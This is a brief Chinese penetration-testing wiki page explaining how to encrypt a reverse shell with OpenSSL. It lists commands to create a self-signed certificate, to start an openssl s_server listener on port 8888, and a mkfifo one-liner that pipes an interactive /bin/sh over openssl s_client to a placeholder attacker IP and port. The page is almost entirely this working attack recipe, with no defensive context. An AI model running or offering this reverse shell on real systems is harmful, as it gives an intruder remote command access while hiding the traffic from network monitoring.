# 使用OpenSsl加密反彈shell/zh-hans
==生成自签名证书==
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
==服务端监听8888端口==
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
==Linux下使用mkfifo进行反弹shell==
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s
[[Category:滲透測試資料]]
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容